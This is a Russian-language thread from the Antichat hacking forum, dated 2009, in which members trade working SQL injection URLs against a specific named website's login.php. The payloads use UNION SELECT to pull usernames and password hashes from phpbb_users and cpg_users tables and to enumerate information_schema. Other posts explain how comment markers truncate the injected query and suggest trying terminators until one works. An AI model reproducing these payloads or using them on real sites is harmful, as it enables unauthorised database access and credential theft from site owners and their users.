Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

01.02.2009, 00:47
|
|
Познающий
Регистрация: 16.01.2009
Сообщений: 40
Провел на форуме: 244040
Репутация:
15
|
|
Фильтрация таким образом не повличет ли за собой уязвимости?
$style_text = htmlspecialchars(trim($HTTP_POST_VARS['style_text']));
|
|
|

01.02.2009, 00:48
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
Для cpg_users table_schema=KOLESHEV_1
но
http://teambuilding-extreme.com/news/login.php?id=-1+union+select+1,2,3,user_name,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19+from+KOLESHEV_1.cpg_users+--+
command denied to user ..
зато можешь посмотреть юзеров форума
http://teambuilding-extreme.com/news/login.php?id=-1+union+select+1,2,3,concat_ws(0x2F,username,user_ password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+ from+phpbb_users+limit+1,1+--+
|
|
|

01.02.2009, 00:50
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме: 6128108
Репутация:
445
|
|
ElteRUS вопрос
почему в конце +--+ ставиться? или к примеру -- или /* ? Я просто не понимаю а ставлю --
|
|
|

01.02.2009, 00:59
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
Провел на форуме: 7215020
Репутация:
1423
|
|
diznt, потому что согласно документации mysql после -- должен идти пробел
А почему вообще ставится ? Это знаки комментария. Нужны для того что-бы обрубить продолжения запроса, когда мы всовываемся в него со своей инъекцией
Последний раз редактировалось ElteRUS; 01.02.2009 в 01:04..
|
|
|

01.02.2009, 01:00
|
|
Познавший АНТИЧАТ
Регистрация: 27.08.2007
Сообщений: 1,107
Провел на форуме: 5386281
Репутация:
1177
|
|
Сообщение от diznt
ElteRUS вопрос
почему в конце +--+ ставиться? или к примеру -- или /* ? Я просто не понимаю а ставлю --
Не думай об этом)) Делай так. Составил запрос. Ошибка? Пробуешь --. не пашет? Пробуешь /*. Не пашет? Пробуешь +--+. Снова не пашет? Ну на кройняк ++-- =))
|
|
|

01.02.2009, 01:03
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
почему в конце +--+ ставиться? или к примеру -- или /* ? Я просто не понимаю а ставлю --
Все что идёт после этих символов запросом не считается (как // в пхп)
|
|
|

01.02.2009, 01:05
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
diznt, советую почитать http://forum.antichat.ru/thread43966.html
|
|
|

01.02.2009, 01:06
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме: 7875940
Репутация:
2362
|
|
1. Открывать коммент там и не надо, тк запрос тупо SELECT * FROM news_posts WHERE news_id =$id
2. ElteRUS, доступ к cpg_users есть, просто бд надо писать имя бд прописью, а не капсом
http://teambuilding-extreme.com/news/login.php?id=-1+union+select+1,2,3,user_name,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19+from+koleshev_1.cpg_users
Для подтверждения:
http://teambuilding-extreme.com/news/login.php?id=1+union+select+1,2,3,concat_ws(0x2F,T ABLE_NAME,TABLE_SCHEMA,database()),5,6,7,8,9,10,11 ,12,13,14,15,16,17,18,19+from+information_schema.T ABLES+where+TABLE_SCHEMA=database()+AND+TABLE_NAME +like+0x257573657225+limit+3,1
А не выдает ничего, потому что таблица пустая.
Попробуйте у себя на локалхосте выполнить
SELECT 1,2,3 FROM information_schema.VIEWS
все сразу вам понятно станет.
|
|
|

01.02.2009, 01:09
|
|
Постоянный
Регистрация: 31.01.2008
Сообщений: 643
Провел на форуме: 6128108
Репутация:
445
|
|
как я понял почитав кусочек статьи "--" это типа обозначение комента (то есть отбрасывает все что после него)
Но зачем он нужен все таки не понятно!
|
|
|

01.02.2009, 01:14
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Но зачем он нужен все таки не понятно!
Смотри, может быть запрос вида
SELECT * FROM news_posts WHERE news_id = 1+union+select+1,2,3,4,5 news_name = $name
Если будет такой запрос - мускуль выдаст ошибку, потому что посчитает news_name лишним, а если поставить запрос так
SELECT * FROM news_posts WHERE news_id = 1+union+select+1,2,3,4,5 /* news_name = $name
то news_name = $name считатся не будет.
Это пример =)
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|